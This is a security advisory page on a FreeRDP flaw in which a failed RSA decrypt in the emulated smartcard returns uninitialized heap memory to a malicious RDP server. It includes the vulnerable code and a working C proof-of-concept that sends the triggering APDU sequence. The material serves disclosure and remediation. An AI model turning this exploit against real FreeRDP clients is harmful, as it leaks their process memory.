Uninitialized heap memory disclosure in FreeRDP smartcard emulation
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- None
- Attack complexity
- Low
- Impact type
- —
- Confidentiality · integrity · availability
- Low · None · None
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-v9fc-6453-9h7x. Fix status from GitHub.
Summary
FreeRDP from 3.0.0 before 3.34.0 is affected when built with smartcard emulation, which is the default. When a client is configured for smartcard logon, a failed RSA decryption in the emulated GIDS smartcard returns 0 from OpenSSL, and the check in vgids_perform_decrypt() does not treat that as an error (CWE-754). The response then reports success and returns uninitialized heap bytes as decrypted data. A malicious RDP server that a client connects to can trigger this repeatedly and read client process memory one RSA-modulus-sized block at a time.
Written with Claude Haiku 5.5 from the sources below · 2026-12-03
Description from the GitHub advisory
### Summary When FreeRDP is built with smartcard emulation (the default, `WITH_SMARTCARD_EMULATE=ON`) and a client is configured for smartcard logon, the client emulates a GIDS smartcard whose RSA private-key operations are served by `vgids_perform_decrypt()`. That function checks the result of `EVP_PKEY_decrypt()` with `if (res < 0)`, but OpenSSL 3.x returns **0** (not a negative value) when the RSA padding decode fails. A failed decryption therefore falls through: the response buffer — freshly `malloc`'d and never written by the failed call — is marked as valid response data, the operation is reported to the remote peer as a **success** (`SW=9000`), and the raw uninitialized heap bytes are returned as purported decrypted plaintext. A malicious RDP server that a client connects to can trigger this on demand and repeat it without limit, reading the client process's heap one RSA-modulus-sized block at a time (256 bytes for RSA-2048, 512 for RSA-4096). The attacker controls the trigger and the repetition count, so the total volume of process memory disclosed is unbounded. In the runs performed against the latest code the leaked block contained zeros (fresh, never-written heap); the content of the block is set by the allocator and prior heap use, not by the attacker, and may include sensitive data when such data occupies the recycled chunk at trigger time. ### Details ## Details File: `libfreerdp/emu/scard/smartcard_virtual_gids.c`, function `vgids_perform_decrypt()` (starts at line 1179). ```c /* Determine buffer length */ { const size_t inlen = Stream_Length(context->commandData); size_t outlen = 0; res = EVP_PKEY_decrypt(ctx, nullptr, &outlen, Stream_Buffer(context->commandData), inlen); if (res < 0) /* :1211 - size call; res==0 passes, outlen = modulus size */ { WLog_ERR(TAG, "Failed to decrypt data"); goto decrypt_failed; } /* Prepare output buffer */ context->responseData = Stream_New(nullptr, outlen); /* :1218 - malloc, NOT zeroed */ if (!context->responseData) { WLog_ERR(TAG, "Failed to create decryption buffer"); goto decrypt_failed; } /* Decrypt */ res = EVP_PKEY_decrypt(ctx, Stream_Buffer(context->responseData), &outlen, Stream_Buffer(context->commandData), inlen); /* :1227 */ if (res < 0) /* :1230 - BUG: misses res == 0 (padding-decode failure) */ { WLog_ERR(TAG, "Failed to decrypt data"); goto decrypt_failed; } rc = Stream_SetLength(context->responseData, outlen); /* :1236 - marks uninitialized bytes valid */ } ``` `EVP_PKEY_decrypt()`'s documented contract is "1 for success and 0 or a negative value for failure". On OpenSSL 3.x the provider path returns **0** for a padding-decode failure (verified on OpenSSL 3.0.13: with OAEP padding a ciphertext that fails decoding returns 0 and leaves the output buffer completely untouched). The `res < 0` guard at line 1230 (and the size call at line 1211) therefore does not fire on a failed decrypt. When the guard is missed, `rc` is set to the result of `Stream_SetLength()` (TRUE), so `vgids_perform_decrypt()` returns TRUE. The caller (`vgids_ins_perform_security_operation`, line 1327) does `if (!vgids_perform_decrypt(context)) return FALSE;` — which does not trigger, because the function returned TRUE — so the status stays `ISO_STATUS_SUCCESS` (`0x9000`, defined line 108) and the never-written `responseData` buffer is exposed to the peer via `vgids_handle_chained_response` / `vgids_create_response`. The sibling calls in the same function already use the correct `<= 0` convention (`EVP_PKEY_decrypt_init(ctx) <= 0` at line 1201, `EVP_PKEY_CTX_set_rsa_padding(ctx, padding) <= 0` at line 1203), and `EVP_PKEY_sign` elsewhere in the file uses `<= 0`; the `< 0` at lines 1211/1230 is an insufficient check, not a deliberate narrower contract. The response buffer is allocated by `Stream_New` -> `malloc`, which does not zero memory. The path is driven by the remote RDP peer over the device-redirection channel (MS-RDPESC / RDPDR "SCARD" device): ``` RDP peer -> RDPDR DEVICE_IOCONTROL (SCARD device) -> smartcard_Transmit_Call (libfreerdp/utils/smartcard_call.c) -> Emulate_SCardTransmit (exported from libfreerdp3) -> vgids_process_apdu -> ISO_INS_PSO -> vgids_ins_perform_security_operation -> vgids_perform_decrypt (smartcard_virtual_gids.c:1179) <-- defect ``` The feature is enabled by the documented client option `/smartcard-logon` and the library setting `FreeRDP_SmartcardEmulation`; `WITH_SMARTCARD_EMULATE` defaults to ON. The defect lives in the shared library `libfreerdp3`, so every frontend that links it and enables smartcard emulation (`xfreerdp3`, `wlfreerdp`, `sfreerdp`, `sdl-freerdp`, the platform clients, `freerdp-proxy`) is affected identically. The proof below drives the emulated card through `Emulate_SCardTransmit`, the same exported entry point the redirection channel uses. ### Proof of concept Build FreeRDP from source with smartcard emulation enabled (the default): ```sh cmake -S . -B build -DCMAKE_BUILD_TYPE=Release -DWITH_SMARTCARD_EMULATE=ON cmake --build build --target freerdp winpr -j ``` Generate a test key/certificate: ```sh openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=test" ``` The following program drives the emulated card through the same public WinSCard entry point the MS-RDPESC redirection channel uses (`Emulate_SCardTransmit`), sending the APDU sequence a remote peer sends: `SELECT` the GIDS app, `MSE` selecting OAEP padding, `VERIFY` the PIN, then a chained `PSO` carrying an invalid RSA ciphertext of modulus size. The final `PSO` triggers the failed decrypt and returns the uninitialized buffer. ```c /* leak.c - build: * gcc -O1 -g leak.c -Ibuild/include -Iinclude -Ibuild/winpr/include -Iwinpr/include \ * -Lbuild/libfreerdp -Lbuild/winpr/libwinpr -lfreerdp3 -lwinpr3 \ * -Wl,-rpath,build/libfreerdp:build/winpr/libwinpr -o leak * ./leak cert.pem key.pem 12345678 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <freerdp/freerdp.h> #include <freerdp/settings.h> #include <freerdp/emulate/scard/smartcard_emulate.h> #include <winpr/smartcard.h> static char* read_file_str(const char* path) { FILE* f = fopen(path, "rb"); if (!f) return NULL; fseek(f, 0, SEEK_END); long sz = ftell(f); fseek(f, 0, SEEK_SET); char* b = malloc(sz + 1); size_t rd = fread(b, 1, sz, f); b[rd] = 0; fclose(f); return b; } static SmartcardEmulationContext* g_ctx; static SCARDCONTEXT g_hCtx; static SCARDHANDLE g_hCard; static int transmit(const BYTE* apdu, size_t n, BYTE* resp, size_t* rl) { SCARD_IO_REQUEST pci = { SCARD_PROTOCOL_T1, sizeof(pci) }; DWORD recv = 4096; *rl = 0; LONG st = Emulate_SCardTransmit(g_ctx, g_hCard, &pci, apdu, (DWORD)n, &pci, resp, &recv); if (st != SCARD_S_SUCCESS) { printf("transmit failed 0x%08lx\n", (unsigned long)st); return -1; } *rl = recv; return 0; } int main(int argc, char** argv) { const char* cert = argc > 1 ? argv[1] : "cert.pem"; const char* key = argc > 2 ? argv[2] : "key.pem"; const char* pin = argc > 3 ? argv[3] : "12345678"; rdpSettings* s = freerdp_settings_new(0); freerdp_settings_set_bool(s, FreeRDP_SmartcardEmulation, TRUE); freerdp_settings_set_string(s, FreeRDP_SmartcardCertificate, read_file_str(cert)); freerdp_settings_set_string(s, FreeRDP_SmartcardPrivateKey, read_file_str(key)); freerdp_settings_set_string(s, FreeRDP_Password, pin); g_ctx = Emulate_New(s); if (!g_ctx || !Emulate_IsConfigured(g_ctx)) { printf("emulate setup failed\n"); return 1; } Emulate_SCardEstablishContext(g_ctx, SCARD_SCOPE_USER, NULL, NULL, &g_hCtx); WCHAR readers[512] = {0}; DWORD n = 512; Emulate_SCardListReadersW(g_ctx, g_hCtx, NULL, readers, &n); DWORD proto; Emulate_SCardConnectW(g_ctx, g_hCtx, readers, SCARD_SHARE_SHARED, SCARD_PROTOCOL_T1, &g_hCard, &proto); Emulate_SCardBeginTransaction(g_ctx, g_hCard); BYTE resp[4096]; size_t rl; /* SELECT GIDS app */ BYTE sel[] = {0x00,0xA4,0x04,0x00,0x0B,0xA0,0x00,0x00,0x03,0x97,0x42,0x54,0x46,0x59,0x02,0x01,0x00}; transmit(sel, sizeof(sel), resp, &rl); /* MSE: CRT_CONF (p2=0xB8), OAEP algoId=0x80, keyRef=0x81 */ BYTE mse[] = {0x00,0x22,0x41,0xB8,0x06,0x80,0x01,0x80,0x84,0x01,0x81}; transmit(mse, sizeof(mse), resp, &rl); /* VERIFY PIN */ BYTE vfy[6+16] = {0x00,0x20,0x00,0x80,(BYTE)strlen(pin)}; memcpy(vfy+5, pin, strlen(pin)); transmit(vfy, 5+strlen(pin), resp, &rl); /* PSO with 256 bytes of invalid (all-zero) ciphertext, chained */ BYTE ct[256]; memset(ct, 0x00, sizeof(ct)); size_t off = 0; int chunk = 0; DWORD sw = 0; while (off < sizeof(ct)) { size_t len = sizeof(ct) - off; BYTE cla = 0x00; if (len > 255) { len = 255; cla = 0x10; } BYTE apdu[5+255]; apdu[0]=cla; apdu[1]=0x2A; apdu[2]=0x86; apdu[3]=0x80; apdu[4]=(BYTE)len; memcpy(apdu+5, ct+off, len); transmit(apdu, 5+len, resp, &rl); if (rl >= 2) sw = ((DWORD)resp[rl-2]<<8)|resp[rl-1]; printf("PSO#%d -> SW=%04lx, %zu data bytes\n", chunk++, (unsigned long)sw, rl>2?rl-2:0); off += len; } Emulate_SCardEndTransaction(g_ctx, g_hCard, SCARD_LEAVE_CARD); Emulate_SCardDisconnect(g_ctx, g_hCard, SCARD_LEAVE_CARD); Emulate_SCardReleaseContext(g_ctx, g_hCtx); Emulate_Free(g_ctx); freerdp_settings_free(s); return 0; } ``` Observed output against the latest FreeRDP (OpenSSL 3.0.13): ``` PSO#0 -> SW=9000, 0 data bytes PSO#1 -> SW=9000, 256 data bytes ``` The final `PSO` reports success (`SW=9000`) and returns 256 bytes — the uninitialized response buffer — even though the RSA decryption failed. The returned bytes were zeros in these runs (fresh heap); the content is allocator-dependent. Controls, also run against the latest code: - **Empty PIN** (`./leak cert.pem key.pem ""`): the `VERIFY` passes with `lc=0` and the leak proceeds identically (`PSO#1 -> SW=9000, 256 data bytes`), so no PIN secret is required when the card is configured with an empty PIN. - **No `VERIFY`** (omit the `VERIFY` APDU): the `PSO` returns `SW=6982` (security status not satisfied) and no leak, confirming the sequence is required. - **RSA-4096** (`./leak cert4096.pem key4096.pem 12345678`): the leak is the full 512-byte modulus, delivered as 256 bytes in the `PSO` reply (`SW=6100`, more data available) plus 256 bytes via `GET RESPONSE` (`SW=9000`). - **Repetition**: each `PSO` trigger leaks independently; issuing the sequence repeatedly returns a fresh modulus-sized block each time, so the disclosed volume is not bounded by a single block. ### Impact - **Type:** improper check for an exceptional condition (the `res < 0` test that misses OpenSSL's `0` return) leading to disclosure of uninitialized memory to a network peer. - **Who is impacted:** any FreeRDP client built with the default smartcard emulation and configured for smartcard logon, when it connects to a malicious or compromised RDP server. This includes all frontends linking `libfreerdp3` (`xfreerdp3`, `wlfreerdp`, `sfreerdp`, `sdl-freerdp`, the platform clients, `freerdp-proxy`). - **Consequence:** a remote attacker that the client connects to can read the client process's heap in modulus-sized blocks, repeatably and without limit. The attacker controls the trigger and the repetition count, so the total volume disclosed is unbounded. The content of each block is determined by the allocator and prior heap usage, not by the attacker; in the runs performed here the block was zeros. Whether the leaked block contains sensitive data (the configured PIN, passwords, TLS session keys, redirected channel payloads, or the loaded private key) depends on what occupies the recycled chunk at trigger time; this was not observed in these runs and is an expectation for this class of uninitialized-memory disclosure, not a demonstrated result here.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | >= 3.0.0 | 3.34.0 | Patch available | GHSA-v9fc-6453-9h7x |
- FreeRDP (c) Vendor— Affected >= 3.0.0 Fixed in 3.34.0 Patch available GHSA-v9fc-6453-9h7x
Remediation
Upgrade FreeRDP to version 3.34.0 or later.
Written with Claude Haiku 5.5 from the sources below · 2026-12-03
- Fix · GHSA-v9fc-6453-9h7x FreeRDP (c) Fixed in 3.34.0 Advisory →
Timeline
- 2026-12-03 Threatist record created from GHSA-v9fc-6453-9h7x
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences